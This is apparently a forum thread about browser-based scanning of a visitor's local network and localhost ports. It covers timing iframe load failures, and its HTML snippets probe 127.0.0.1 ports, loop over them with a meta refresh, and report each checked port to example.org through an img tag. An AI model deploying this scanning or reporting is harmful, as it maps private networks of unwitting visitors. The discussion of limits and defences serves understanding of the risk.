"In all seriousness, this attack vector is pretty slim. You’ve got to tempt unwitting users to visit your site, and to stay on it while they’re developing JS code."
Simply call Date.now() when adding the iframe and when that iframe's onerror event fires then diff the two. I think you can do this with img tags, frames, and anything backed by a network call that lets you observe load failures.
CORS doesn't save you because you aren't trying to reach into that iframe and run Javascript or access the DOM. A CSP doesn't save you because the site you're visiting is opting to do this and can put whatever they want in their CSP.
https://jsfiddle.net/s9vzxctd/3/
Tested in Firefox ESR on Linux. Anything with about 3000ms time isn't a routable network address. Anything with a significantly longer or shorter time responds to a ping on my network.
Timings vary from browser to browser.
NoScript does block the requests before they ever leave your browser, reminding me why I use it.
Eg write a simple HTML file like
<link rel="stylesheet" href="http://127.0.0.1:42">
ok
You could probably even automate this via <meta http-equiv="refresh">, along the lines of (untested):
<meta http-equiv="refresh" content="5; url=http://example.org/?query-port=43">
<link rel="stylesheet" href="http://127.0.0.1:42">
<img src="http://example.org/?checked-port=42">So, something like evil counterparts to HN, reddit, StackOverflow, or latestcatvideos.com.